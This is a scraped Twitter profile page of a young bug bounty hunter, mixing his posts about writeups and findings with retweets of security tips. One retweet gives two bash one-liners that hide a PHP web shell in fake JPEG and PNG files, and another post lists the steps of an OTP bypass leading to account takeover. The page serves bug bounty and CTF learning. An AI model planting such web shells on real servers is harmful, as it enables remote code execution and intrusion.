Sagar Sajeev

| 19y/o | Security Researcher | Bug Bounty Hunter |

[Sundar Pichai @sundarpichai]

Seeing some qs on what Gemini *is* (beyond the zodiac :). Best way to understand Gemini’s underlying amazing capabilities is to see them in action, take a look ⬇️

[Shodan @shodanhq]

The $5 Membership sale is now live! The sale lasts until July 17 23:59 UTC: https://t.co/0iqiq2vTpn

[Years Progress @YearsProgress]

░░░░░░░░░░░░░░░ 0%

[Anugrah SR 📌| #HackLearnDaily @cyph3r_asr]

Now you don't have a excuse to start

Complete a Practical Study Plan to become a successful cybersecurity engineer based on roles like Pentest, AppSec, Cloud Security, DevSecOps and so on...

👇

[Sam Curry @samwcyo]

We recently found a vulnerability affecting Hyundai and Genesis vehicles where we could remotely control the locks, engine, horn, headlights, and trunk of vehicles made after 2012.

To explain how it worked and how we found it, we have @_specters_ as our mock car thief:

[Sagar Sajeev @Sagar__Sajeev]

Found this interesting script called LinPEAS which can essentially discover possible paths to escalate privileges on Linux or Unix machines.

It can be particularly helpful in pwning CTF challenges.

https://t.co/ebf1syJiyh

#infosec #cybersecurity #CheatSheet #security #linux

[Adam Langley @BuildHackSecure]

If you need to quickly make RCE code from bash disguised as an image for an LFI/malicious upload.

echo -n -e '\xFF\xD8\xFF\xE0<?php system($_GET["cmd"]);?>.' > shell.jpg

echo -n -e '\x89\x50\x4E\x47<?php system($_GET["cmd"]);?>.' > shell.png

#bugbountytip #ctf #hacking

[Sagar Sajeev @Sagar__Sajeev]

I've recently published a number of new bug bounty writeups over at my Medium handle. I forgot to update it here on Twitter.

Please check them out and let me know your feedback.

https://t.co/LBQ9R3pXRb

#bugbounty #bugbountytip #cybersecurity

[Intigriti @intigriti]

Finding blind XSS is hard, but let's make it a bit easier. Set this in Burp and wait until an admin views your User-Agent in a vulnerable application! 💉

Thanks @abdlah_md for this great tip!

#bugbounty #bugbountytips 👇

[Sagar Sajeev @Sagar__Sajeev]

I reported this vulnerability which allowed the attacker to unsubscribe any user from the Target website’s email notification service.

I've also published a writeup on that here:
https://t.co/Y0cA9Cdd4B

#bugbounty #bugbountytips #vulnerabilities #cybersecurity #infosec #redteam

[GhostExodus @ExodusGhost]

Show me what you got! Do it 😂

[Sagar Sajeev @Sagar__Sajeev]

Do checkout my new writeup on a File Upload Bypass leading to RCE.

https://t.co/POuQqF0cpA

#bugbounty #cybersecurity #bugbountytips #vulnerabilities #redteam #infosec

[Sagar Sajeev @Sagar__Sajeev]

I found a very interesting case of OTP bypass leading to ATO.

1) Enter an invalid six-digit OTP and forward the request.
2) Intercept the response and there you will find the correct OTP encoded in base64.
3) Decode it for the correct OTP.

Impact: Account Takeover

#bugbounty

[Java Guides @GuidesJava]

Basic JWT Auth Flow:

[Sumit Jain @sumit_cfe]

A collection of useful Nmap NSE Scripts ...

https://t.co/9yqx8ko7sH

Cc @Alra3ees

#security #bugbounty #bountyresources #collection #bugbountytips #infosec #hacking #cybersecurity

[Sagar Sajeev @Sagar__Sajeev]

@rahuman_hamdi Yep also try some manual approach with shodan.

[Sagar Sajeev @Sagar__Sajeev]

Thursday Bounties⚡

Vulnerabilities Reported :
- Bypassed Cloudflare and Found Origin IP.
- Broken Access Control

Tip:-
https://t.co/nbl0PTlEpb
This tool may help when dealing with Cloudflare WAF's.

#bugbounty #cybersecurity #bugbountytips #redteam #vapt

[Sagar Sajeev @Sagar__Sajeev]

@GovindS09729507 Maybe the tool I mentioned can help. But doing some manual shodan searches are more effective.

[Sagar Sajeev @Sagar__Sajeev]

@shubham_srt Yep. I had reported 2 such IP disclosures. 403 and 1003 were the status codes

[Sagar Sajeev @Sagar__Sajeev]

I just published a small writeup about Server Side Template Injection (SSTI) I recently reported.

Here's the link to the writeup : https://t.co/bO6xaqOTdr

#bugbounty #bugbountytips #bughunting #cybersecurity #cybersecuritytips #infosec